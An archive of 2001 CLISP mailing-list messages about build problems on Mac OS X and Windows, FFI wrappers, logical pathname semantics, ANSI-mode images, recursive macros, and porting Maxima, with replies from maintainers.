it works around for a bit the last things it writes are about files of an
rs6000 which I think is wrong.
After this it prints out some hints, and i follow them starting make

clisp gets built and then starts working on its .lisp files

mhen it gots to places.lisp i get a Segmentation fault.

any suggestions? I could point to an incorrect OS detection. in fact i tried
GnuCommonLisp (GCL) and that one files right at the configure complaining
about unknown architekture.

thanks,
riccardo



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i issued ulimit -s 512 while being in "sh" (no bash on os X ?)  but i sill
get segmentation fault
:
places.lisp ..male *** [interpreted.mem] Segmentation fault

help! i need LISP on my iBook!

on 6/29/01 11:20 PM, fsc at fsc@users.sourceforge.net wrote:

>> mhen it gots to places.lisp i get a Segmentation fault.
> increase the stacksize (in bash: "ulimit -s 512"   or so, it tcsh I
> don't know)
> and "make" again.
> F.



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Hi! all,

I think SWIG is more useful for generating wrappers. Since CLISP's FFI allows 
to directly interface with foreign libs all that is required is some sort of 
h2lsp utility that parses C headers and generates appropriate lisp files. 
Maybe the whole thing can be automated using some kind of module definition 
facility which takes a module definition file (containing package name, 
exports, headers etc.) and performs the work of clisp-link automatically.

Please correct me if 'am wrong.

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On Fri, 29 Jun 2001 08:16:46 -0500, Randy Justice
<Randy.Justice@cnet.navy.mil> wrote:

> 	Does methods exists for Multiple threads in CLISP?

See:

  http://sourceforge.net/people/viewjob.php?group_id=1355&job_id=3573

Don Cohen <donc@users.sourceforge.net> is accepting pledges to pay for the
development of multi-threading support in CLISP. Contact him if you are
willing to contribute.


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I had little problem building latest, unreleased, version on OSX, my
Powerbook G4.

Instructions on getting it from CVS:
  http://sourceforge.net/cvs/?group_id=1355

Of course you have to installed the Darwin/OSX developer's tools
before anything else.

Getting it this way is easier than getting the tarball, and much
easier than getting the tarball and doing a lot of patches.

I installed bash, because that's what the instructions told me
to do.  But there was a report recently that you can force it
to use tcsh and that works as well.

Be sure to read the instructions in all three places INSTALL, 
unix/INSTALL, and unix/PLATFORMS.

Foreign Functions are not working yet.

 - ben


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Hi,

I am trying to get garnet working under clisp-2.26 with the new-clx module installed.

Had no problems compiling everything and creating an image for garnet, however when trying to run the tour or any of the example programs, the following message is always returned:

	XLIB:CREATE-GCONTEXT: Wanted to refer to a dead display.

All the clx example programs seem to be working fine. Am I doing something stupid or is some more concerted digging in the garnet source called for? Have had a look, but not making much sense of it so far...

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PS Also tried using mit-clx, having installed the patch for this, but that does not even get as far as with new-clx.



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>>>>> "Kicha" == V Krishna Kumar <v_krishnakumar@operamail.com> writes:

    Kicha> Hi! all, I think SWIG is more useful for generating
    Kicha> wrappers. Since CLISP's FFI allows to directly interface
    Kicha> with foreign libs all that is required is some sort of
    Kicha> h2lsp utility that parses C headers and generates
    Kicha> appropriate lisp files.

I think you are right. However, it is not so simple to write such a
utility, since it has to understand a large part of C syntax. 

AFAIK, two similar programs are available:

1) CPARSE, by Tim Moore
   http://www.bricoworks.com/~moore/cparse
   It is copyrighted by Tim Moore but freely distributable.

2) parse-c-decls.lisp, by Vassili Bykov and Roger Corman. It is
   distributed with Corman Lisp: http://corman.net/CormanLisp.html.
   It is copyrighted by the authors, I'm not sure if it can be freely
   used or distributed. 

Both have some limitations in C syntax parsing.

Aurelio





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Hi! ALL,

1)
Is the FFI working on Win32 platforms ? If so, how do I build the linking 
set on those platforms ?

2)
Instead of writing an ORB in LISP, is it possible to interface with a C based 
ORB (such as ORBit) using the FFI ? The advantages are
  i.  You get a lot of free code (ORB itself)
  ii. Colocated servers & clients can be optimised to use function calls
      rather than sockets.

Any thoughts ?

cheers,
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Hi

(linux:get_ <TAB> => 

*** - SYSTEM::FUNCTION-SIGNATURE: #<FOREIGN-FUNCTION
"get_current_dir_name" #x0805007C> is not a function.

Although (linux:get_current_dir_name) works.

Completion works in the other packages.

I am using clisp-2.26, on Gnu/linux 2.4.5, with all the packages
except postgres and queens.

Regards,
Peter


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Paul Graham wrote:

> How are you calling the macro?  


In both CMUCL and CLISP, I call them interactively. Just now I put them
in a file and loaded it. CMUCL kept on gcing when loading and CLISP
loaded fine. Then I can call (nthb 2 '(1 2 3 4)) in CLISP and get 3.

Best!


> --- Bruce <bruce253@163.net> wrote:
> 
>>While reading Dr. Graham's book, "On Lisp", I found it difficult to 
>>appreciate the difference between two recursive macros that he said
>>one 
>>is bad and the other is good.
>>
>>Bad one (P.140):
>>(defmacro nthb (n lst)
>>   `(if (= ,n 0)
>>        (car ,lst)
>>      (nthb (- ,n 1) (cdr ,lst))))
>>
>>Good one (P.142):
>>(defmacro orb (&rest args)
>>   (if (null args)
>>       nil
>>     (let ((sym (gensym)))
>>       `(let ((,sym ,(car args)))
>>          (if ,sym
>>              ,sym
>>            (orb ,@(cdr args)))))))
>>
>>It is clear to see that both macros are recursive. Dr. Graham said in
>>
>>the book that the good one is good because it recurses on the
>>arguments 
>>to the macro, not on the values of the arguments. That seems to make
>>sense.
>>
>>But when I tested on CLISP and CMUCL, I found that CLISP happily
>>accepts 
>>both macros but CMUCL runs in endless loop with the bad one.
>>
>>My question is: Is CLISP doing the right thing or CLISP
>>implementation 
>>more conformant to the new ISO standard (Dr. Graham's statement no 
>>longer holds)?





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While reading Dr. Graham's book, "On Lisp", I found it difficult to 
appreciate the difference between two recursive macros that he said one 
is bad and the other is good.

Bad one (P.140):
(defmacro nthb (n lst)
   `(if (= ,n 0)
        (car ,lst)
      (nthb (- ,n 1) (cdr ,lst))))

Good one (P.142):
(defmacro orb (&rest args)
   (if (null args)
       nil
     (let ((sym (gensym)))
       `(let ((,sym ,(car args)))
          (if ,sym
              ,sym
            (orb ,@(cdr args)))))))

It is clear to see that both macros are recursive. Dr. Graham said in 
the book that the good one is good because it recurses on the arguments 
to the macro, not on the values of the arguments. That seems to make sense.

But when I tested on CLISP and CMUCL, I found that CLISP happily accepts 
both macros but CMUCL runs in endless loop with the bad one.

My question is: Is CLISP doing the right thing or CLISP implementation 
more conformant to the new ISO standard (Dr. Graham's statement no 
longer holds)?

Best!




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According to the installation instructions
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Change the strings in src/config.lisp, using a text editor.
Then start

         lisp.exe -M lispinit.mem

When I try to install on a Windows 2000 and P4 box, I get..

C:\temp\randy\clisp-2.26>lisp -M lispinist.mem
lisp: operating system error during load of initialisation file
`lispinist.mem'
 GetLastError() = 0x0 (ERROR_SUCCESS): The operation completed successfully.

I have installed CLISP in Windows 2000 and non P4 without problems...

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Problem solved... it did not like the "."  in the directory path...
 
Randy
 

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According to the installation instructions 
Installation: 
------------- 

Change the strings in src/config.lisp, using a text editor. 
Then start 

         lisp.exe -M lispinit.mem 

When I try to install on a Windows 2000 and P4 box, I get.. 

C:\temp\randy\clisp-2.26>lisp -M lispinist.mem 
lisp: operating system error during load of initialisation file
`lispinist.mem' 
 GetLastError() = 0x0 (ERROR_SUCCESS): The operation completed successfully.


I have installed CLISP in Windows 2000 and non P4 without problems... 

Can someone provide insight? 

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  <P><FONT size=2>According to the installation instructions</FONT> <BR><FONT 
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hi,

I'm trying to make a clisp-image that is in ANSI-mode initially,
but I have some problems:  [Using current cvs]

stig@palomba(17:39)[~] 565> clisp -norc -q -ansi

[1]> custom::*ansi*
T
[2]> (ext:saveinitmem "test.mem" :quiet t)
904596 ;
524288
[3]> 

stig@palomba(17:39)[~] 566> clisp -norc -M test.mem

[1]> custom::*ansi*
NIL
[2]> custom:*print-pathnames-ansi*
NIL
[3]> 


This contradicts the docs which says:
"""
Please note that if you run CLISP with the -a switch or set 
the SYMBOL-MACRO custom:*ansi* to T and save image, then all 
subsequent invocations of CLISP with this image will be as 
if with -a (regardless whether you actually supply the -a switch)
"""

[Noting that -a tells me to use -ansi]

Any ideas?

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On Sat, Jul 07, 2001 at 05:18:35PM +0200, Stig E Sandoe wrote:
> hi,
> 
> I'm trying to make a clisp-image that is in ANSI-mode initially,
> but I have some problems:  [Using current cvs]
                              ^^^^^^^^^^^^^^^^

The same problem seems to exist in 2.26.  I setf custom:*ansi* to t
and dumped an image, but custom:*ansi* is NIL in that image.

Peter


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hi,

I am trying to get a recent clisp cvs version working with 
common-lisp-controller on Debian but run into an issue which
I find odd.  Maybe someone can explain what is correct:

stig@palomba(21:35)[~] 710> clisp -norc -q -ansi
[1]> (load "/etc/clisprc")
;; Loading file /etc/clisprc ...
;;  Loading file /usr/share/common-lisp/source/common-lisp-controller/common-lisp-controller.lisp ...
;;  Loading of file /usr/share/common-lisp/source/common-lisp-controller/common-lisp-controller.lisp is finished.
;; Loading of file /etc/clisprc is finished.
T
[2]> (logical-pathname-translations "cl-systems")
((#S(LOGICAL-PATHNAME :HOST "CL-SYSTEMS" :DEVICE NIL
     :DIRECTORY (:RELATIVE :WILD-INFERIORS) :NAME NIL :TYPE "SYSTEM" :VERSION NIL)
  #P"/usr/share/common-lisp/systems/**/.system")
 (#S(LOGICAL-PATHNAME :HOST "CL-SYSTEMS" :DEVICE NIL
     :DIRECTORY (:ABSOLUTE :WILD-INFERIORS) :NAME NIL :TYPE "SYSTEM" :VERSION NIL)
  #P"/usr/share/common-lisp/systems/**/.system"))
[3]> (make-pathname :host "CL-SYSTEMS" :device nil :directory '(:absolute) :name "clocc-port" :type 
"system" :version nil)
#S(LOGICAL-PATHNAME :HOST "CL-SYSTEMS" :DEVICE NIL :DIRECTORY (:ABSOLUTE)
   :NAME "clocc-port" :TYPE "system" :VERSION NIL)
[4]> (namestring *)

*** - TRANSLATE-LOGICAL-PATHNAME: No replacement rule for 
#S(LOGICAL-PATHNAME :HOST "CL-SYSTEMS" :DEVICE NIL :DIRECTORY (:ABSOLUTE)
   :NAME "clocc-port" :TYPE "system" :VERSION NIL) is known.
1. Break [5]> 
[6]> (merge-pathnames "cl-systems:" "metering.system")
#S(LOGICAL-PATHNAME :HOST "CL-SYSTEMS" :DEVICE NIL :DIRECTORY (:ABSOLUTE)
   :NAME "METERING" :TYPE "SYSTEM" :VERSION :NEWEST)
[7]> (namestring *)
"/usr/share/common-lisp/systems/metering.system"
[8]> (merge-pathnames "cl-systems:" #p"metering.system")
#S(LOGICAL-PATHNAME :HOST "CL-SYSTEMS" :DEVICE NIL :DIRECTORY (:ABSOLUTE)
   :NAME "METERING" :TYPE "SYSTEM" :VERSION :NEWEST)
[9]> (namestring *)
"/usr/share/common-lisp/systems/metering.system"


is there any reason why the translation at [4] should blow up?  I've
also tested with version :newest but no effect. 

[This message was postponed and I later found that things depended
 on :TYPE being upper-case.. any particular reason?  Seems non-intuitive
 to me at least. ]

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On Mon, Jul 09, 2001 at 01:53:42AM +0200, Stig E Sandoe wrote:
> [2]> (logical-pathname-translations "cl-systems")
> ((#S(LOGICAL-PATHNAME :HOST "CL-SYSTEMS" :DEVICE NIL
>      :DIRECTORY (:RELATIVE :WILD-INFERIORS) :NAME NIL :TYPE "SYSTEM" :VERSION NIL)
>   #P"/usr/share/common-lisp/systems/**/.system")
>  (#S(LOGICAL-PATHNAME :HOST "CL-SYSTEMS" :DEVICE NIL
>      :DIRECTORY (:ABSOLUTE :WILD-INFERIORS) :NAME NIL :TYPE "SYSTEM" :VERSION NIL)
>   #P"/usr/share/common-lisp/systems/**/.system"))
> is there any reason why the translation at [4] should blow up?  I've
> also tested with version :newest but no effect. 
> 
> [This message was postponed and I later found that things depended
>  on :TYPE being upper-case.. any particular reason?  Seems non-intuitive
>  to me at least. ]

If you look at your translations, you have a translation for :type
"SYSTEM", but not for :type "system".

Since filenames are in principle case-sensitive (and since we're in
:case :common, :type "SYSTEM" corresponds to a physical extension of
".system" on Unix), there's no real reason other than intuition to
expect a translation for :type "system" to automagically appear.

I think, anyway; this is too early on a Monday morning to be reasoning
about logical pathnames...

Cheers,

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I'm afraid I have a slightly clobbered CVS version of clisp; could you
check whether the following occurs for you:

[1]> *ansi*
T
[2]> (setf (logical-pathname-translations "MY-HOST") 
           (list '(";**;*.*.*" "/tmp/**/*.*")))
[...]
[3]> (pathname-directory "**/.cl")
(:RELATIVE :WILD-INFERIORS)
[4]> (make-pathname :defaults "**/.cl" :host "MY-HOST")
#S(LOGICAL-PATHNAME :HOST "MY-HOST" :DEVICE NIL
   :DIRECTORY (:ABSOLUTE :WILD-INFERIORS) :NAME NIL :TYPE "CL" :VERSION NIL)

Should the directory component of the result of the make-pathname call
there not be (:RELATIVE :WILD-INFERIORS)?

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> * In message <20010704214018.A360@localhost.localdomain>
> * On the subject of "[clisp-list] completion breaks in linux package"
> * Sent on Wed, 4 Jul 2001 21:40:18 +0200
> * Honorable Peter Wood <peter.wood@worldonline.dk> writes:
> 
> (linux:get_ <TAB> => 
> 
> *** - SYSTEM::FUNCTION-SIGNATURE: #<FOREIGN-FUNCTION
> "get_current_dir_name" #x0805007C> is not a function.

try this:

user[6]: > (disassemble 'sys::function-signature)
Disassembly of function system::function-signature
(CONST 0) = system::function-name-p
(CONST 1) = fdefinition
(CONST 2) = system::signature
(CONST 3) = 16
(CONST 4) = 12
(CONST 5) = 13
(CONST 6) = 19
(CONST 7) = 18
(CONST 8) = ffi:foreign-function
(CONST 9) = system::foreign-function-in-arg-count
(CONST 10) = 0
(CONST 11) = "~S: ~S is not a function."
(CONST 12) = system::language
(CONST 13) = system::function-signature
1 required arguments
1 optional arguments
No rest parameter
No keyword parameters
0     (unbound->nil 1)
2     (load&push 2)
3     (call1&jmpifnot 0 l14)              ; system::function-name-p
6     (load&push 2)
7     (calls1&jmpifnot 79 l14)            ; fboundp
10    (load&push 2)
11    (call1 1)                           ; fdefinition
13    (store 2)
14    l14
14    (load&push 2)
15    (calls2&jmpif 8 l58)                ; system::closurep
18    (load&push 2)
19    (calls2&push 37)                    ; type-of
21    (jmpifeqto 8 l102)                  ; ffi:foreign-function
25    (load&push 2)
26    (calls1 1)                          ; system::subr-info
28    (nv-to-stack 6)
30    (load&jmpifnot 5 l116)
34    (push)
35    (load&push 5)
36    (load&push 5)
37    (load&push 5)
38    (load 5)
39    l39
39    (push)
40    (load&push 6)
41    (load&push 6)
42    (stack-to-mv 7)
44    (skip&ret 9)
46    l46
46    (load&push 2)
47    (call1 2)                           ; system::signature
49    (nv-to-stack 6)
51    (load&push 8)
52    (load&push 6)
53    (load&push 6)
54    (load&push 6)
55    (load 6)
56    (jmp l39)
58    l58
58    (load&push 2)
59    (calls2&jmpif 7 l46)                ; compiled-function-p
62    (load&push 2)
63    (const&push 3)                      ; 16
64    (calls2&push 41)                    ; system::%record-ref
66    (load&push 3)
67    (load&push 4)
68    (const&push 4)                      ; 12
69    (calls2&push 41)                    ; system::%record-ref
71    (load&push 5)
72    (const&push 5)                      ; 13
73    (calls2&push 41)                    ; system::%record-ref
75    (load&push 6)
76    (const&push 6)                      ; 19
77    (calls2&push 41)                    ; system::%record-ref
79    (load&push 4)
80    (calls2 6)                          ; numberp
82    (not)
83    (push)
84    (load&push 5)
85    (calls2 6)                          ; numberp
87    (not)
88    (jmpifnot l93)
90    (load&push 5)
91    (calls1 157)                        ; copy-list
93    l93
93    (push)
94    (load&push 9)
95    (const&push 7)                      ; 18
96    (calls2&push 41)                    ; system::%record-ref
98    (stack-to-mv 7)
100   (skip&ret 4)
102   l102
102   (load&push 2)
103   (load&push 3)
104   (call1&push 9)                      ; system::foreign-function-in-arg-count
106   (const&push 10)                     ; 0
107   (push-nil 4)
109   (stack-to-mv 7)
111   (skip&ret 3)
113   l113
113   (values0)
114   (skip&ret 9)
116   l116
116   (load&jmpif 7 l113)
119   (const&push 11)                     ; "~S: ~S is not a function."
120   (push-nil 2)
122   (call&push 3 12)                    ; system::language
125   (const&push 13)                     ; system::function-signature
126   (load&push 10)
127   (callsr 2 30)                       ; error
#<compiled-closure system::function-signature>

does your disassembly mention ffi::foreign-function?
try these:
(fdefinition 'linux:get_current_dir_name)
(type-of *)

did you build your clisp yourself?  CVS or distribution?

Thanks for your bug report

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> * In message <20010709132537.A30703@cam.ac.uk>
> * On the subject of "[clisp-list] Bug? in make-pathname"
> * Sent on Mon, 9 Jul 2001 13:25:37 +0100
> * Honorable Christophe Rhodes <csr21@cam.ac.uk> writes:
>
> I'm afraid I have a slightly clobbered CVS version of clisp; could you
> check whether the following occurs for you:
> 
> [1]> *ansi*
> T
> [2]> (setf (logical-pathname-translations "MY-HOST") 
>            (list '(";**;*.*.*" "/tmp/**/*.*")))
> [...]
> [3]> (pathname-directory "**/.cl")
> (:RELATIVE :WILD-INFERIORS)
> [4]> (make-pathname :defaults "**/.cl" :host "MY-HOST")
> #S(LOGICAL-PATHNAME :HOST "MY-HOST" :DEVICE NIL
>    :DIRECTORY (:ABSOLUTE :WILD-INFERIORS) :NAME NIL :TYPE "CL" :VERSION NIL)
> 
> Should the directory component of the result of the make-pathname call
> there not be (:RELATIVE :WILD-INFERIORS)?

this behavior is correct.
_physical_ pathname "**/foo" is _relative_
_physical_ pathname "/**/foo" is _absolute_
_logical_ pathname "**;foo" is _absolute_
_logical_ pathname ";**;foo" is _relative_

see CLHS.  this is idiotic (IMHO), but this is the standard.

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> * In message <20010708071258.A173@localhost.localdomain>
> * On the subject of "Re: [clisp-list] making ANSI-image"
> * Sent on Sun, 8 Jul 2001 07:12:58 +0200
> * Honorable Peter Wood <peter.wood@worldonline.dk> writes:
>
> On Sat, Jul 07, 2001 at 05:18:35PM +0200, Stig E Sandoe wrote:
> > 
> > I'm trying to make a clisp-image that is in ANSI-mode initially,
> > but I have some problems:  [Using current cvs]
>                               ^^^^^^^^^^^^^^^^
> The same problem seems to exist in 2.26.  I setf custom:*ansi* to t
> and dumped an image, but custom:*ansi* is NIL in that image.

confirmed - I broke this on 2001-05-01.  sorry.  thanks for reporting.
fix in progress - please monitor clisp-devel.

PS: bugs in the CVS versions should be reported to clisp-devel, not clisp-list.

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On Mon, Jul 09, 2001 at 11:01:03AM -0400, Sam Steingold wrote:
> > * In message <20010709132537.A30703@cam.ac.uk>
> > * On the subject of "[clisp-list] Bug? in make-pathname"
> > * Sent on Mon, 9 Jul 2001 13:25:37 +0100
> > * Honorable Christophe Rhodes <csr21@cam.ac.uk> writes:
> >
> > I'm afraid I have a slightly clobbered CVS version of clisp; could you
> > check whether the following occurs for you:
> > 
> > [1]> *ansi*
> > T
> > [2]> (setf (logical-pathname-translations "MY-HOST") 
> >            (list '(";**;*.*.*" "/tmp/**/*.*")))
> > [...]
> > [3]> (pathname-directory "**/.cl")
> > (:RELATIVE :WILD-INFERIORS)
> > [4]> (make-pathname :defaults "**/.cl" :host "MY-HOST")
> > #S(LOGICAL-PATHNAME :HOST "MY-HOST" :DEVICE NIL
> >    :DIRECTORY (:ABSOLUTE :WILD-INFERIORS) :NAME NIL :TYPE "CL" :VERSION NIL)
> > 
> > Should the directory component of the result of the make-pathname call
> > there not be (:RELATIVE :WILD-INFERIORS)?
> 
> this behavior is correct.

I don't think so; see my slightly more detailed reasoning below.

> _physical_ pathname "**/foo" is _relative_
> _physical_ pathname "/**/foo" is _absolute_
> _logical_ pathname "**;foo" is _absolute_
> _logical_ pathname ";**;foo" is _relative_

I'm aware of this, but I think it has little bearing on the issue.

#p"**/foo" is equivalent to (modulo *read-eval* and friends)
#.(make-pathname :directory '(:relative :wild-inferiors) :name "foo")

So, (make-pathname :defaults "**/foo" :host "MY-HOST") should fill in
missing components (i.e. those not directly specified in the call)
from the value of the :defaults keyword argument, which has a
:directory component of (:relative :wild-inferiors). It is this that
should be copied over to the newly-created pathname, not a
quasi-physical namestring representation.

So in other words I think the logic in
(make-pathname :defaults #p"**/foo" :host "MY-HOST") should go:

1. Find all the explicitly-named components, and make a new pathname
structure with those values. Here, this would be a pathname structure
with host "MY-HOST" and everything else some magical uninitialized
value.

2. For each of the slots containing magical uninitialized values, copy
across the value of the corresponding slot from the :defaults
argument. In this case, this would add a :directory of (:relative
:wild-inferiors), a :name of "foo" and the other uninitialized
components would come from the values of *default-pathname-defaults*
that prevailed when that (make-pathname ...) form was read (since #p
effectively calls parse-namestring).

I hope that this is clear (at least as clear as the HS on
make-pathname and merge-pathnames, which I think we can agree aren't
terribly...). But basically I think that the :directory component
shouldn't be changed by being copied from a physical to a logical
pathname.

(Note that at least cmucl/sbcl and OpenMCL disagree with your
interpretation and seem to follow my reasoning; I accept that this in
itself isn't evidence, but it at least indicates that it's deeper than
it might at first seem).

Cheers,

Christophe
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On Mon, Jul 09, 2001 at 10:59:23AM -0400, Sam Steingold wrote:
> > * Honorable Peter Wood <peter.wood@worldonline.dk> writes:
> > 
> > (linux:get_ <TAB> => 
> > 
> > *** - SYSTEM::FUNCTION-SIGNATURE: #<FOREIGN-FUNCTION
> > "get_current_dir_name" #x0805007C> is not a function.
> 
> try this:
> 
> user[6]: > (disassemble 'sys::function-signature)
  
<clipped>

> does your disassembly mention ffi::foreign-function?

No.  It has system::foreign-function where your output said
ffi:foreign-function. 

> try these:
> (fdefinition 'linux:get_current_dir_name)
> (type-of *)
> 

The first returns:
 #<FOREIGN-FUNCTION "get_current_dir_name" #x0805007C>

And the second returns:
FFI::FOREIGN-FUNCTION

> did you build your clisp yourself?  CVS or distribution?

I got it from cons.org and built it myself. clisp --version:
GNU CLISP 2.26 (released 2001-05-23) (built 3202023995) (memory
3202025137)

If I remember correctly, I applied all the patches except the
directory access one.

> The only time you have too much fuel is when you're on fire.

:-)

Regards,
Peter


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> * In message <20010709191246.A165@localhost.localdomain>
> * On the subject of "Re: [clisp-list] completion breaks in linux package"
> * Sent on Mon, 9 Jul 2001 19:12:46 +0200
> * Honorable Peter Wood <peter.wood@worldonline.dk> writes:
>
> On Mon, Jul 09, 2001 at 10:59:23AM -0400, Sam Steingold wrote:
> > > * Honorable Peter Wood <peter.wood@worldonline.dk> writes:
> > > 
> > > (linux:get_ <TAB> => 
> > > 
> > > *** - SYSTEM::FUNCTION-SIGNATURE: #<FOREIGN-FUNCTION
> > > "get_current_dir_name" #x0805007C> is not a function.
> > 
> > user[6]: > (disassemble 'sys::function-signature)
> > does your disassembly mention ffi::foreign-function?
> 
> No.  It has system::foreign-function where your output said
> ffi:foreign-function. 

this bug was introduced during the repackaging and fixed on 2001-06-17.
there are quite a few files involved, so I am reluctant to create a
separate patch.

you can replace "FOREIGN-FUNCTION" with "FFI::FOREIGN-FUNCTION" in the
definition of FUNCTION-SIGNATURE in compiler.lisp to fix your particular
problem, or you can try the CVS version.

Thanks for reporting the bug.

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This bug is very easy to reproduce.

[2]> (defun my-div (x y)
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MY-DIV
[11]> (my-div 5 0)
*** - division by 0
1. Break [12]> Backtrace-1
*** - EVAL: variable BACKTRACE-1 has no value
2. Break [13]> Backtrace-1
[Now normal backtrace]

It also works fine if type "help" before "Backtrace-1". This does not 
occur in 2.25 and 2000-03-06.

I'm using clisp 2.26 on Debian/GNU woody and have the first four patches 
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Hi,

I'm running clisp 2.25.1 on Darwin 1.3.7 (Mac OS 10.0.4).

Now I'm trying to port Maxima using CLISP, since GCL have been being hard to
build. I know some of you already did it. I'm a newbie and need some
directions here.

Would somebody please could be kind enough to give me some instructions,
kind of a recipe, or even a starting point?

So far I did
cd src
make clisp-compile CLISP=clisp

I got a couple of warning and no errors, but Maxima isn't working. That's
what I get retrying "make":
; Loading file macsys.fas ...
;; Loading of file macsys.fas is finished.
;; Loading file mload.fas ...
;; Loading of file mload.fas is finished.
;; Loading file suprv1.fas ...
*** - READ from #<BUFFERED FILE-STREAM CHARACTER #P"suprv1.fas" @36>: there
is no character bit with name "NO"
Bye.

I'd relly appreciate any tip.
Thanks a lot,
Lizardo.
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> * In message <B4CA1F5D8D23D411ADC7009027E791BF013ED3EB@pens0394.cnet.navy.Mil>
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> 	Does Lisp contain a method to "save" the environment/processes?
> Which would imply a method restore the environment/processes..

RTFM: http://clisp.cons.org/impnotes.html#image

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> * In message
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>
> 	Does Lisp contain a method to "save" the environment/processes?
> Which would imply a method restore the environment/processes..

RTFM: http://clisp.cons.org/impnotes.html#image

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TARGET=3D"_blank">http://www.memri.org/</A>&gt;</FONT>
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--- "Lizardo H. C. M. Nunes" <lizardo@urbi.com.br> wrote:
> Hi,
> 
> I'm running clisp 2.25.1 on Darwin 1.3.7 (Mac OS 10.0.4).
> 
> Now I'm trying to port Maxima using CLISP, since GCL have been being
> hard to
> build. I know some of you already did it. I'm a newbie and need some
> directions here.
> 
> Would somebody please could be kind enough to give me some
> instructions,
> kind of a recipe, or even a starting point?

I am interested in the related project of running Maxima on a PowerPC
Macintosh operating under LinuxPPC 2000Q4.

I already have installed CLISP and it appears to be running well.

I would prefer to find a ppp.rpm file of Maxima 5.6, but it appears
that no one has made it available on the web.

In any case, if anyone has successfully installed Maxima 5.6 on
LinuxPPC (or another distribution for the PPC chip), and is willing to
provide advise or guidelines, please let me know. Please, reply to my
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>>>>> "vkk" == V Krishna Kumar <v_krishnakumar@operamail.com> writes:

  vkk> Instead of writing an ORB in LISP, is it possible to interface with a C based 
  vkk> ORB (such as ORBit) using the FFI ? The advantages are
  vkk> i.  You get a lot of free code (ORB itself)
  vkk> ii. Colocated servers & clients can be optimised to use function calls
  vkk> rather than sockets.

I don't think this is a good idea. An ORB needs to be tightly
integrated with the system's I/O and threading subsystems, which will
be difficult via a FFI.

For your point (i) see CLORB, a free CL ORB, and for (ii) I don't see
any reason why this would not be possible in a CL implementation; it
should be much easier than fiddling with object keys via the FFI.


<URL:http://clorb.sourceforge.net/>

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> * In message <20010709162848.B2632@cam.ac.uk>
> * On the subject of "Re: [clisp-list] Bug? in make-pathname"
> * Sent on Mon, 9 Jul 2001 16:28:48 +0100
> * Honorable Christophe Rhodes <csr21@cam.ac.uk> writes:
>
> I hope that this is clear (at least as clear as the HS on
> make-pathname and merge-pathnames, which I think we can agree aren't
> terribly...). But basically I think that the :directory component
> shouldn't be changed by being copied from a physical to a logical
> pathname.

okay, I think I fixed this.
what a mess!

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> * In message <3B4A4DFA.4030700@163.net>
> * On the subject of "[clisp-list] A minor bug when  at break"
> * Sent on Tue, 10 Jul 2001 08:36:10 +0800
> * Honorable Bruce <bruce253@163.net> writes:
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> This bug is very easy to reproduce.

I cannot reproduce it.
are you sure you do not have why whitespace around commands?

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hi,

noting that many nice updates have been made in CVS lately over the
2.26.1 release.  Any plans for a 2.27 release to keep the good pace in 
releases this spring?

A slightly unrelated question though, how easy would it be to add support 
for clisp reading a system-wide config-file (e.g /etc/clisprc) on startup 
(like ~/.clisprc is read)?  I have currently used a nasty hack to make 
this work on Debian, but such functionality can be useful for others as 
well I presume. 

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Hi,

I'm trying to port "Maxima 5.6" using "clisp 2.25.1".
After editing the file "../src/ suprv1.lisp" I simply typed:

#cd src
#make clisp-compile CLISP=clisp
and it compiles without errors...

I want to know what I should do next. If somebody already used CLISP to port
Maxima and wants to give me a hand, I'd really appreciate.

Thanks,
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> * In message <20010712023420.A11913@apal.ii.uib.no>
> * On the subject of "[clisp-list] 2.27?"
> * Sent on Thu, 12 Jul 2001 02:34:20 +0200
> * Honorable Stig E Sandoe <stig@ii.uib.no> writes:
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> noting that many nice updates have been made in CVS lately over the
> 2.26.1 release.  Any plans for a 2.27 release to keep the good pace in
> releases this spring?

yes - wonna help?
There are lots of things you could do.

> A slightly unrelated question though, how easy would it be to add
> support for clisp reading a system-wide config-file (e.g /etc/clisprc)
> on startup (like ~/.clisprc is read)?  I have currently used a nasty
> hack to make this work on Debian, but such functionality can be useful
> for others as well I presume.

Use saveinitmem instead.  The reason for /etc/profile and /etc/cshrc is
that they do not have this capability.

Put whatever you like into /etc/clisprc, then do
# clisp -i /etc/clisprc -x '(saveinitmem)'
# mv lispinit.mem /usr/local/lib/clisp/base/
# clisp -K full -i /etc/clisprc -x '(saveinitmem)'
# mv lispinit.mem /usr/local/lib/clisp/full/

Better yet, put whatever you like into config.lisp before doing make.

Implementing your proposal would require adding --no-site-init command
line option (or making -norc ignore /etc/clisprc too), it would also
require --site-init configure option.
BTW, where it /etc/clisprc on win32? atari? acorn?

I am not saying that this will not or cannot be done, but this is less
trivial and not as necessary as you appear to assume.

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Please excuse me, this question is not a total LISP question...

I recently purchased a dual 1.2 GHZ AMD Server.

I purchased the box to one main reason - to execute long running 
LISP programs. The lisp programs needs to run for weeks at a time.

I installed three products on the box: Office 2000 Pro, WinZip 8, and CLISP.

The general symptom and dies with the following message in 
the event viewer:
Event Type:	Information
Event Source:	Save Dump
Event Category:	None
Event ID:	1001
Date:		7/11/2001
Time:		8:52:16 PM
User:		N/A
Computer:	MPI-0WSES7UYOXH
Description:
The computer has rebooted from a bugcheck.  The bugcheck was: 0x00000050
(0xec01373d, 0x00000000, 0xec01373d, 0x00000002). Microsoft Windows 2000
[v15.2195]. A dump was saved in: C:\WINNT\Minidump\Mini071101-03.dmp. 

I have seen the program execute for a few minutes to 10-12 hours before
dying.

The machine has given me once a "blue-screen-of-death" with the following
message: IRQL_NOT_LESS_OR_EQUAL.


One might try to jump to the conclusion that it is the LISP program.  I have
the SAME
LISP program running on 4 different boxs.  1. 333 MHZ K6-2 Machine - Wind
2000 SP2, 
2. 800 MHZ AMD - Wind 2000 SP2, 3.  266 MHZ P2 - Nt 4.0 SP 6A, 4. 1.3 GHZ P4
- Wind 2000. 

These boxs runs for Days/weeks at a time..  The new box has yet to last 24
hours.  
If it helps - the application is CPU bound -- All i/o is accomplished though
redirection. 

The current box is Wind 2000 SP2. 

I'm using clisp-win32-2.26.

What do you think?  I'm in a tight spot, I have a machine in it's current
state is 
a paper weight! 


Randy Justice

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<P><FONT SIZE=3D2>The machine has given me once a =
&quot;blue-screen-of-death&quot; with the following message: =
IRQL_NOT_LESS_OR_EQUAL.</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>One might try to jump to the conclusion that it is =
the LISP program.&nbsp; I have the SAME</FONT>
<BR><FONT SIZE=3D2>LISP program running on 4 different boxs.&nbsp; 1. =
333 MHZ K6-2 Machine - Wind 2000 SP2, </FONT>
<BR><FONT SIZE=3D2>2. 800 MHZ AMD - Wind 2000 SP2, 3.&nbsp; 266 MHZ P2 =
